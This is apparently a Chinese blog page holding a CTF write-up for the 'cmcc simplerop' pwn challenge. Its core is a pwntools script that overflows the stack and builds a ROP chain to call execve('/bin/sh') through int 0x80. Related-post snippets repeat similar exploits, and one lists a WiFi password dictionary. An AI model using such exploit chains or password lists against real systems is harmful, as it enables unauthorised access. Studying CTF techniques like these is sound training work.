cmcc simplerop

最新推荐文章于 2022-03-17 22:48:05 发布
最新推荐文章于 2022-03-17 22:48:05 发布
阅读量217 收藏
点赞数
分类专栏： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/pondzhang/article/details/106345406
版权 
from pwn import *
p = process('./simplerop')
p.recv()
int80_addr = 0x080493e1
pop_eax = 0x080bae06
read = 0x0806CD50
binsh = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850
payload = 'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh) + p32(int80_addr)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
「已注销」
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF cmcc_simplerop
BengDouLove的博客
04-14 895
这道题打开ida又是那么一大堆一大堆的函数，也没有外部引用的段，所以就是静态链接把好多函数都链接进来了 所以就和 BUU上另一道 inndy_rop 一样，直接用ROPgadget 去找rop链 from struct import pack # Padding goes here p = '' p += pack('<I', 0x0806e82a) # pop edx ...
cmcc_simplerop
01-07
思路 明显rop可以用工具但是需要自己调一下长度emem exp: from pwn import * from struct import pack #io=process('./simplerop') io=remote('node3.buuoj.cn',27913) io.recvuntil(':') # Padding goes here p = 'a'*0x14+p32(1)*3 p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080
cmcc--simplerop
03-28
cmcc pwn题样本，可以使用多种rop方式进行漏洞利用，打开自己的思路，wp链接： https://blog.csdn.net/A951860555/article/details/115286266
CMCC客户端
05-15
"CMCC客户端"是一款专为中国移动用户设计的无线网络连接工具，主要功能是帮助用户方便快捷地接入CMCC（China Mobile Communications Corporation，中国移动）提供的Wi-Fi网络服务。这款客户端简化了传统的Wi-Fi连接...
cmcc客户端
11-20
"cmcc客户端"是一款专为中国移动的无线网络（CMCC）设计的软件，它使得用户无需通过网页登录的方式来接入和使用CMCC的Wi-Fi服务。这个客户端简化了连接过程，提高了用户使用的便捷性，尤其在公共场合如机场、火车站...
cmcc-LTE题库
10-19
cmccLTE考试题库，基本涵盖CMCC各类认证考试知识框架，经过整理分类便于学习
【pwn】 cmcc_simplerop
Nothing
02-26 723
例行检查 ida打开二进制文件发现是静态链接的32位程序。main函数中存在溢出。用ROPgadget查找文件中的gadget。 ROPgadget --binary ./simplerop --only 'pop|ret' >> 1.txt 得到 发现存在 pop eax;ret pop edx;pop ecx;pop ebx;ret 这些就足够了，给寄存器赋值再用int 80...
BUUCTF-PWN-cmcc_simplerop
qq_41743240的博客
04-28 476
BUUCTF-cmcc_simplerop 开了NX IDA反编译 程序非常简单,漏洞也一眼可见 程序里面没有system,这题解法非常多，这里使用mprotect方法修改bss段,执行shellcode exploit: #coding:utf-8 from pwn import * #p=process('simplerop') p=remote('node3.b...
cmcc Simplerop
Morphy_Amo的博客
03-17 3927
rop
BUUCTF----cmcc_simplerop
qq_33010875的博客
09-28 362
环境：WSL2，ubuntu16.04，python2 常规checksec文件： ida反编译： 明显看到read函数会导致栈溢出 gdb调试程序： 用cyclic指令生成100个数字，运行程序： 求输入点到返回地址的偏移： 得到偏移是32，即0x20 值得一提的是，在ida中，我们可以看到偏移是0x18+0x04=0x1c,以gdb调试为准 原因可参考： https://blog.csdn.net/mcmuyanga/article/details/109260008 文件名给了提示，使用
[BUUCTF-pwn]——cmcc_simplerop (ropchain)
Y_peak的博客
03-16 448
[BUUCTF-pwn]——cmcc_simplerop 有栈溢出，自己找rop链，最简单的方法，让ROPgadget帮我们弄好呀，可是有点长，所有需要我们修改。毕竟有长度要求。因为“/bin/sh"字符串没有找到，所有这之前的都不动， 下面的pop eax; pop ebx; pop ecx; pop edx除了pop ebx 注意下，其他都可以进行修改 inc就是 ++ exploit 目的：使得excve("/bin/sh") eax = 0xb; ebx ->"/bin/sh"; ecx
buuctf cmcc_simplerop
qq_42728977的博客
04-11 284
系统调用+rop https://www.cnblogs.com/bhxdn/p/12330142.html https://blog.csdn.net/xiaominthere/article/details/17287965
BUUCTF：cmcc_simplerop（write up）
qq_44768749的博客
08-26 780
BUUCTF：cmcc_simplerop0x01 文件分析0x02 运行0x03 IDA0x04 思路0x04-1 解法一0x04-2 解法二0x05 exp解法一解法二 0x01 文件分析 32位程序，开启NX、部分RELRO保护 0x02 运行 输入一串字符串 0x03 IDA main函数 存在栈溢出漏洞 0x04 思路 0x04-1 解法一 该题没有system函数也没有"/bin/sh"，也无法泄露函数真实地址 可利用int 80h系统调用 设置系统调用参数即可执行e
cmcc_simplerop的wp
wuyvle的博客
03-06 338
函数很多很唬人 但确实不难，很明显要溢出 用ROP看看有没有int80 有，我们可以利用系统调用 再用ROp找找看 就这俩了 int80(11,"/bin/sh",null,null) 后面的四个参数分别是eax、ebx、ecx、edx。 所以上面的两条命令刚刚好。 没有/bin/sh就用read在bss段上写一个 1 from pwn import * 2 3 p = process('./simplerop') 4 context.log_level = 'debug' 5 6 p
cmcc wifi字典文件
最新发布
02-03
CMCC WiFi字典文件是中国移动通信公司推出的一种用于WiFi连接的辅助工具。该文件包含了大量的WiFi网络名称和密码对的组合，用户可以通过这些密码尝试连接到需要输入密码的WiFi网络，提高连接成功的概率。 这些密码...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值